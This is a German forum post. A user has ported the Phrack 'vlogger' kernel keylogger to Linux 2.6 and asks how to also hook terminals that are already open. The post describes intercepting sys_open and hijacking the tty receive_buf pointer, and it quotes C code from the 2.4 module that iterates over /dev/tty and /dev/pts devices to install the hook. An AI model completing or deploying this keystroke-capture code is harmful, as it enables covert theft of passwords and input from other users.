Kernelprogrammierung: geöffnete Terminals modifizieren

Lord Kefir

Lord Kefir

König
Guten Abend!

Ich habe mal vor einigen Montaten das Kernelmodul 'vlogger' für den 2.6er-Kernel umgeschrieben (http://www.phrack.org/show.php?p=59&a=14).

Ich erkläre mal kurz das Prinzip: der Treiber für das Terminal enthält einen Pointer auf die Funktion zum einlesen der Tastatureingaben - receive_buf(). Das Modul fängt sys_open() ab und setzt (falls ein Terminal geöffnet wird) den Zeiger auf die Adresse einer Funktion zum abfangen der Daten.

Mein Problem: ich kann nicht bereits geöffnete Terminals modifizieren. Im Modul für den 2.4er-Kernel wird das Problem folgend gelöst:

Code:
void my_tty_open(void) 
{
	int fd, i;
	char dev_name[80];

#ifdef LOCAL_ONLY
	int fl = 0;
	struct tty_struct * tty;
	struct file * file;
#endif

	for (i=1; i<MAX_TTY_CON; i++) {
		snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

		BEGIN_KMEM
			fd = open(dev_name, O_RDONLY, 0);
			if (fd < 0) continue;

#ifdef LOCAL_ONLY
			file = fget(fd);
			tty = file->private_data;
			if (tty != NULL  && 
				tty->ldisc.receive_buf != NULL) {
				if (!fl) {
					old_receive_buf = 
						tty->ldisc.receive_buf;
					fl = 1;
				}
				init_tty(tty, TTY_INDEX(tty));
			}
			fput(file);
#endif

			close(fd);
		END_KMEM
	}

#ifndef LOCAL_ONLY
	for (i=0; i<MAX_PTS_CON; i++) {
		snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

		BEGIN_KMEM
			fd = open(dev_name, O_RDONLY, 0);
			if (fd >= 0) close(fd);
		END_KMEM
	}
#endif

}

Dieser Code lässt sich leider nicht so einfach übertragen - z.B. motzt mein Compiler rum, weil die Funktion open() nicht bekannt ist. Ich habe leider recht wenig Ahnung von Kernelprogrammierung (dies ist mein erstes Experiment) und hoffe, dass mir einer von euch einen kleinen Tipp geben kann, wie ich bereits geöffnete Terminals 'abfangen' kann,

Mfg, Lord Kefir
 

Ähnliche Themen

Unix Webserver mit HTML Seite erstellen

[PHP] Autologin-Funktion

USB Geräte per Bash Script resetten (Gerät hängt sich öfter mal auf)

Ubuntu X / dbus problem

Segmentation Fault bei strcat?

Zurück
Oben